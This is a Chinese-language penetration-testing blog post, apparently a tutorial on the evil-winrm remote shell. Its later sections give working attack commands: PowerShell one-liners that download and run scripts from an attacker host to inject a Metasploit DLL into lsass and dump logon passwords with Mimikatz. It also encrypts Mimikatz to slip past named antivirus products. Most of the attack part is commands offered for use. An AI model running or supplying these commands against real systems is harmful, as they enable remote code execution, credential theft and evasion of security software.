evil-winrm:Windows远程管理

由 admin 发布

evil-winrm:Windows远程管理

Tags: Powersploit, 渗透

概述

evil-winrm是Windows远程管理(WinRM) Shell的终极版本。

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。

WinRM 利用

双方都开启 WinRM受uac影响,仅允许本地管理员组Administrator登录,其他需要登录需要修改注册表

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

WinRM 首次配置

winrm quickconfig -q

特性

Compatible to Linux and Windows client systems
Load in memory Powershell scripts
Load in memory dll files bypassing some AVs
Load in memory C# (C Sharp) assemblies bypassing some AVs
Load x64 payloads generated with awesome donut technique
Dynamic AMSI Bypass to avoid AV signatures
Pass-the-hash support
Kerberos auth support
SSL and certificates support
Upload and download files showing progress bar
List remote machine services without privileges
Command History
WinRM command completion
Local files/directories completion
Remote path (files/directories) completion (can be disabled optionally)
Colorization on prompt and output messages (can be disabled optionally)
Optional logging feature
Docker support (prebuilt images available at Dockerhub)
Trap capturing to avoid accidental shell exit on Ctrl+C
兼容 Linux 和 Windows 系统客户端
在内存中加载 Powershell script
在内存中加载 dll 文件绕过 AVs
在内存中加载 C# 编译的文件绕过 AVs
加载使用 awesome donut 技术生成的 X64 Payload
动态 AMSI 绕过 AV 签名
支持 Pass-the-hash
支持 Kerberos auth
支持 SSL 证书
展示上传和下载文件进度条
列出没有权限的远程计算机服务
历史命令
WinRM 命令补全
本地文件/目录补全
远程路径补全(可选择禁用)
彩色的提示和输出消息
可选日志功能
支持 Docker
避免 shell 意外退出 (Ctrl+C)

donut

初识 AMSI Bypass

help

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message

evil-Winrm使用例子

隐藏密码

如果不想在终端中显示密码,可以不使用 -p 参数,会在回车后提示你输入密码

Ipv6

使用 Ipv6,需要将地址添加至 /etc/hosts,使用时只需要在 -i 参数后面添加主机名。而不是 IP 地址。

基础命令

  • 上传: 本地文件可以使用 tab 键自动补全

    • usage: upload filenameupload local_filename destination_filename
  • 下载:

    • usage: download remote_filenamedownload remote_filename destination_filename

upload 本地文件名 目标文件名 (重命名)

上传下载时不允许使用相对路径,需要在当前目录或绝对路径上使用文件名
如果使用的是 Evil-WinRM docker 环境,所有本地路径都是 /data

  • 服务: 列出所有服务,显示您的帐户是否对每个服务都有权限。使用此功能不需要管理员权限。
  • 菜单:
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
  • 加载 Powershell 脚本

Win-RM 端口复用

将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,配置目标WinRM服务,更改监听端口开启复用,该方法适用于有web服务的机器,不会开启新的端口

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

使用反射 DLL文件注入脚本

使用脚本 Invoke-ReflectivePEInjection.ps1与 msf 生成的 dll 放在同一个目录。使 MSF 监听端口获取到 Meteroreter 会话

Untitled

在 Evil-WinRM shel中输入

IEX (New-Object Net.WebClient).DownloadString('http://192.168.106.145/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.106.145/t.dll -procname lsass

此使将下载 ps 脚本,并将 t.dll 注入到 lsass 进程中

注入完成后,尝试

获取PC、域控制器密码等

Untitled

IEX (New-Object Net.WebClient).DownloadString('http://192.168.106.145/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords eixt"

绕过杀软执行 Mimikatz

通过加密脚本将Invoke-Mimikatz.ps1加密,加密后的文件可以绕过杀软的静态查杀,这里使用Powersploit提供的加解密脚本Out-EncryptedScript(Powersploit中还有其他加解密脚本)。具体方法如下:首先将Invoke-Mimikatz.ps1在本地加密。

Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password RdGIA*@$ -Salt 7DX8oqHM

执行上述命令后将在本目录下生成加密后的文件evil.ps1。将evil.ps1上传至目标系统,通过powershell将解密脚本下载并加载至内存解密evil.ps1执行,执行如下命令可绕过部分杀软执行Mimikatz。已测试绕过的杀软包括360和McAfee,avast的web shield会阻止下载Out-EncryptedScript.ps1文件,无法绕过windows defender的RealTime Protection。

IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")
[String] $cmd = Get-Content .\evil.ps1 
Invoke-Expression $cmd 
$decrypted = de RdGIA*@$ 7DX8oqHM
Invoke-Expression $decrypted 
Invoke-Mimikatz

暂无评论

发表评论